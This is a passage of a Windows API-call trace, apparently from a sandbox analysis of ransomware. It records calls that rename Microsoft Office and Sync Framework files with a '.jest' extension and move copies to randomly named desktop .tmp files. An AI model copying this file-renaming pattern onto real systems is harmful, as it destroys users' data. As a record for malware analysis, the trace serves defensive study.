(normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386267.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\XNc1YtJ-f-GOxmmGfETmwWS_ISnl3 KuEjVbHZ3bOCJXyR_K3RC4K9hWF0HK zSw3sS95BDF5l9NYwxtYbxjZKNVCp0lv hRPuv.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xnc1ytj-f-goxmmgfetmwws_isnl3 kuejvbhz3bocjxyr_k3rc4k9hwf0hk zsw3ss95bdf5l9nywxtybxjzknvcp0lv hrpuv.tmp")) returned 0 [0170.104] GetLastError () returned 0x2 [0170.104] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.106] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg.jest")) returned 1 [0170.108] VarBstrFromR4 (in: fltIn=0x479459d5, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.66") returned 0x0 [0170.109] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386270.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386270.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\JJZsPVSxBWNCs88rula7MaUruHrW bV N_VNUknJhOpZR4cy-ivjeYGQravJWWXo GbL3-ln5GSs9l3QSdJS_ 0DeoTlXvSsy0EE.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\jjzspvsxbwncs88rula7mauruhrw bv n_vnuknjhopzr4cy-ivjeygqravjwwxo gbl3-ln5gss9l3qsdjs_ 0deotlxvssy0ee.tmp")) returned 0 [0170.109] GetLastError () returned 0x2 [0170.110] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.111] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg.jest")) returned 1 [0170.114] VarBstrFromR4 (in: fltIn=0x479459d7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.68") returned 0x0 [0170.117] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386485.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386485.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\UbWqwe7_Eicq-2E1n4fRmXACqnJf7MejQm6ZZBG413gij6cOiRY9vavVSZy 2HS57IM oDkVuvb-Y2HjNxmXoJ79a9Di_e 3_Hba.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ubwqwe7_eicq-2e1n4frmxacqnjf7mejqm6zzbg413gij6coiry9vavvszy 2hs57im odkvuvb-y2hjnxmxoj79a9di_e 3_hba.tmp")) returned 0 [0170.117] GetLastError () returned 0x2 [0170.118] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.120] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg.jest")) returned 1 [0170.124] VarBstrFromR4 (in: fltIn=0x479459d7, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.68") returned 0x0 [0170.125] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0386764.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0386764.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\W3kccBpyVZUapV9gy-QlyEj2MHtXKpiquz1qT0wi6YxpJOnuhrowGUUo3oG-ehcXSLD-msyIKZALMD3UyEfUfFeM_A7Nc6e5h97n.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\w3kccbpyvzuapv9gy-qlyej2mhtxkpiquz1qt0wi6yxpjonuhrowguuo3og-ehcxsld-msyikzalmd3uyefuffem_a7nc6e5h97n.tmp")) returned 0 [0170.125] GetLastError () returned 0x2 [0170.125] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.127] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg.jest")) returned 1 [0170.130] VarBstrFromR4 (in: fltIn=0x479459d9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.7") returned 0x0 [0170.131] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387337.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387337.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yCQi204o4VT3_1LPxU04cHV6ffPglaF G9mKjurQI6iOgOLegvb1RFQhzvcjOiUWurYq4mhjwlWZ23yVACGT_gLpyQeSvmIYt.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ycqi204o4vt3_1lpxu04chv6ffpglaf g9mkjurqi6iogolegvb1rfqhzvcjoiuwuryq4mhjwlwz23yvacgt_glpyqesvmiyt.tmp")) returned 0 [0170.131] GetLastError () returned 0x2 [0170.132] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.133] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg.jest")) returned 1 [0170.135] VarBstrFromR4 (in: fltIn=0x479459d9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.7") returned 0x0 [0170.136] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387591.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387591.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VpxtFmfHDGplEBjWdZXZXN2dq76eJBbBLWLG7-up3kzKgSC3_HzhPtIWFkGdN9vqIJ0 eBLos qn_GpTpj9qIh5T_5Lu8Q7CAl6zi.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vpxtfmfhdgplebjwdzxzxn2dq76ejbbblwlg7-up3kzkgsc3_hzhptiwfkgdn9vqij0 eblos qn_gptpj9qih5t_5lu8q7cal6zi.tmp")) returned 0 [0170.136] GetLastError () returned 0x2 [0170.137] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.138] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg.jest")) returned 1 [0170.140] VarBstrFromR4 (in: fltIn=0x479459d9, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.7") returned 0x0 [0170.141] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0387604.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0387604.jpg"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\y3zzEHo-U3Iu2IRE-T9WEnLcHZtn4 XdRTrzNGTUWE5Sh-BE7qZjTe31 wStNbj-CqUGLqOju NEVoxpBx1bYXC_f6iEgkW_wqdQd.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\y3zzeho-u3iu2ire-t9wenlchztn4 xdrtrzngtuwe5sh-be7qzjte31 wstnbj-cquglqoju nevoxpbx1byxc_f6iegkw_wqdqd.tmp")) returned 0 [0170.141] GetLastError () returned 0x2 [0170.142] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.143] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png.jest")) returned 1 [0170.146] VarBstrFromR4 (in: fltIn=0x479459db, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.71") returned 0x0 [0170.147] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400003.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400003.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\YXlGqX8Gmex28js6ADqoZjehzFZqypdSbgh_i3x4VdfsezYIDCmXLduI 2s MSmbCpYWynYQ4yyeB--Zlqi0em9sEgf6PQVgO4Lxm.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yxlgqx8gmex28js6adqozjehzfzqypdsbgh_i3x4vdfsezyidcmxldui 2s msmbcpywynyq4yyeb--zlqi0em9segf6pqvgo4lxm.tmp")) returned 0 [0170.147] GetLastError () returned 0x2 [0170.148] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.149] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png.jest")) returned 1 [0170.151] VarBstrFromR4 (in: fltIn=0x479459db, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.71") returned 0x0 [0170.152] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400004.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400004.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\KTrO3VySdvY9IgPATjLX7SKAMVJGYKZESJePZ_VyEOl6H 9kFEVhUueuq793CmS yT4PLRP0C25ptOKB89Wkimu53Vc0YN54dgsE.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ktro3vysdvy9igpatjlx7skamvjgykzesjepz_vyeol6h 9kfevhuueuq793cms yt4plrp0c25ptokb89wkimu53vc0yn54dgse.tmp")) returned 0 [0170.152] GetLastError () returned 0x2 [0170.153] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱵ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.154] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG.jest" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png.jest")) returned 1 [0170.157] VarBstrFromR4 (in: fltIn=0x479459db, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.71") returned 0x0 [0170.157] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0400005.PNG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0400005.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SZhzTQ4SsKrzSVHom-CpszMmEKV3LUE51DA9pUaAtJy4FAT3KmitGY3-ypvQWKGtQ8VIrZm3qLNFhKT-nZfsj8IHgi8gHZ9emg.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\szhztq4sskrzsvhom-cpszmmekv3lue51da9puaatjy4fat3kmitgy3-ypvqwkgtq8virzm3qlnfhkt-nzfsj8ihgi8ghz9emg.tmp")) returned 0 [0170.158] GetLastError () returned 0x2 [0170.159] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="୉\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.161] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements\\synchronizationeula.rtf"), lpNewFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf.jest" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements\\synchronizationeula.rtf.jest")) returned 1 [0170.163] VarBstrFromR4 (in: fltIn=0x479459dd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.73") returned 0x0 [0170.164] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\SynchronizationEula.rtf" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements\\synchronizationeula.rtf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\-Ke4AtjfDjIz3urcpJb5lfbsB1cYLsEotKdWI3PHMckwoFvSL9QjyofIrtYLE8 Y9AR o3a4sggmHHhcBNXWs 57lULslixx-Ja22.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\-ke4atjfdjiz3urcpjb5lfbsb1cylseotkdwi3phmckwofvsl9qjyofirtyle8 y9ar o3a4sggmhhhcbnxws 57lulslixx-ja22.tmp")) returned 0 [0170.164] GetLastError () returned 0x2 [0170.165] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.166] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lightspirit.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\LightSpirit.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lightspirit.css.jest")) returned 1 [0170.168] VarBstrFromR4 (in: fltIn=0x479459dd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.73") returned 0x0 [0170.169] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lightspirit.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ptWK7Tl-eChbi dj0JCkOWFQ lXc bUduhFBEte0QtnVBSQPayPwRYuEuK9tVg e609isfQGGrq8mY4i9-vNpL9ICgqChiCiU9ZYk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ptwk7tl-echbi dj0jckowfq lxc buduhfbete0qtnvbsqpaypwryueuk9tvg e609isfqggrq8my4i9-vnpl9icgqchiciu9zyk.tmp")) returned 0 [0170.169] GetLastError () returned 0x2 [0170.169] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.171] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lightspirit.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\LightSpirit.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lightspirit.css.jest")) returned 1 [0170.173] VarBstrFromR4 (in: fltIn=0x479459dd, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.73") returned 0x0 [0170.174] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\LightSpirit.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lightspirit.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\waNQrVb1nCYDm2fyqWlIhnY_4isSKp0V_lFNE9DpbCBvlHrQfrMtgn9t5Y2Y5cJFC6oiFlhdwFlsW4NV5S_kPxb6sFqH6XWdKXVEa.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\wanqrvb1ncydm2fyqwlihny_4isskp0v_lfne9dpbcbvlhrqfrmtgn9t5y2y5cjfc6oiflhdwflsw4nv5s_kpxb6sfqh6xwdkxvea.tmp")) returned 0 [0170.174] GetLastError () returned 0x2 [0170.174] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱪ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.176] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime.css.jest")) returned 1 [0170.178] VarBstrFromR4 (in: fltIn=0x479459df, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.74") returned 0x0 [0170.179] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms3\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms3\\formsstyles\\lime.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\VGI0qv6JzHci83Ol0v osH6LlWPRe3lucJwVysyeqrErWs3 f_mDKY2iZTTPZjqvFtKpFWcbo0yU3EfCPAjDgtvhk 6BAEu7kBgPk.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\vgi0qv6jzhci83ol0v osh6llwpre3lucjwvysyeqrerws3 f_mdky2izttpzjqvftkpfwcbo0yu3efcpajdgtvhk 6baeu7kbgpk.tmp")) returned 0 [0170.179] GetLastError () returned 0x2 [0170.179] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﱬ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0170.181] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime.css.jest")) returned 1 [0170.183] VarBstrFromR4 (in: fltIn=0x479459df, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75955.74") returned 0x0 [0170.184] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsStyles\\Lime.css" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsstyles\\lime.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\SCI4jdsSEHXGHYtZE2LS0ZuBiS_luVcv8 0fke-R E_t33tBG5j0PBx6frEJzJ7Y5lwglziy0IeH6 -kc6GD-PzwBENYoF9pfguk5.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\sci4jdssehxghytze2ls0zubis_luvcv8 0fke-r e_t33tbg5j0pbx6frejzj7y5lwglziy0ieh6 -kc6gd-pzwbenyof9pfguk5.tmp")) returned 0 [0170.184] GetLastError () returned 0x2 [0170.184] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ﳉ", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, 